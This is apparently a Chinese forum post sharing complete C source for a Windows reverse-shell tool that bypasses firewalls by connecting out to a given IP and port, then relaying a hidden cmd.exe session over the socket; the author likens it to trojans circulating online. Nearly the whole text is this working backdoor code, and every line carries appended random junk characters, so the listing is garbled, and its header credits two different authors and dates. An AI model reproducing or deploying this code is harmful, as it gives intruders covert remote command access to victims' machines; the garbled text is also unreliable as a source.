这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ow/57P
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/* ============================== phYDs9-K
Rebound port in Windows NT $ C0TD7=
By wind,2006/7 5y}
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===============================*/ J RPSvP\
#include gFPi7 o1
#include t0#[#I1+
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#pragma comment(lib,"wsock32.lib") 6] z}#"
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void OutputShell(); 70B)|<$
SOCKET sClient; dp5f7>]:(
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ;50_0Mv;(:
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void main(int argc,char **argv) 4.K'\S
{ ]bgY6@M
WSADATA stWsaData; 1#
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int nRet; 33~qgK1>
SOCKADDR_IN stSaiClient,stSaiServer; quo^fqS&a
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if(argc != 3) X['2b78k
{ "%@uO)A /
printf("Useage:\n\rRebound DestIP DestPort\n"); Ze!92g
return; 15zrrU~D
} }4nT.!5
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WSAStartup(MAKEWORD(2,2),&stWsaData); g6sjc,`
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); fj4^VXD
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stSaiClient.sin_family = AF_INET; z8Q"%@
stSaiClient.sin_port = htons(0); XNH4==4
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ~]8p_;\
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 6U,fz#<,}
{ C;a@Jjor'
printf("Bind Socket Failed!\n"); RP(/x+V
return; WA
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} }.:d#]g8
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stSaiServer.sin_family = AF_INET; o6?l/nJ
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); (:Cc3
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); $`vkw(;t)1
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) H2Eb\v`#
{ (BERY
printf("Connect Error!"); M^H90GN)X
return; wq4nMY:#
} 00M`%c/
OutputShell(); KtTza5aF
} 8mgQu]>
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void OutputShell() *`KrVu 6s
{ Q
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char szBuff[1024]; 9NWloK6bT
SECURITY_ATTRIBUTES stSecurityAttributes; i<u9:W
OSVERSIONINFO stOsversionInfo; n9fk,3
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 0RyFv+
STARTUPINFO stStartupInfo; _=6 OP8
char *szShell; ?mOg@) wx
PROCESS_INFORMATION stProcessInformation; F^'v{@C
unsigned long lBytesRead; #'>?:k
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); )
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); e d;"bb
stSecurityAttributes.lpSecurityDescriptor = 0; [A_r1g&_
stSecurityAttributes.bInheritHandle = TRUE; Lht[g9
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,#aS/+;[)
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); RqGVp?
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); hNO)~rt
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l7Lj[d<n
stStartupInfo.wShowWindow = SW_HIDE; bm}+}CJ@#0
stStartupInfo.hStdInput = hReadPipe; gPUo25@pn*
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; NV#')+Ba
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GetVersionEx(&stOsversionInfo); d +xA:
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switch(stOsversionInfo.dwPlatformId) bp Ml =_
{ hrT%XJl
case 1: taCCw2s-8*
szShell = "command.com"; @,YlmX}
break; 0l1.O2-
default: RH=$h! 5
szShell = "cmd.exe"; .M+v?Ad
break; b8cVnP
} \c68n
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); K6(.KEW
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send(sClient,szMsg,77,0); 2C{/`N
while(1) q\U4n[Zk
{ od(:Y(4
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); `x4E;Wjv
if(lBytesRead) 6s5b$x
{ p6[#f96^u
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); =Pj@g/25u
send(sClient,szBuff,lBytesRead,0); YJc%h@ _=]
} C{)HlOW
else &PSTwZd
{ 1XGG.+D
lBytesRead=recv(sClient,szBuff,1024,0); 4$F:NW,v:)
if(lBytesRead<=0) break; `11#J;[@G
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 1wbTqc
} g#Mv&tU
} k%^<}s@
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return; i[8NO$tN1)
}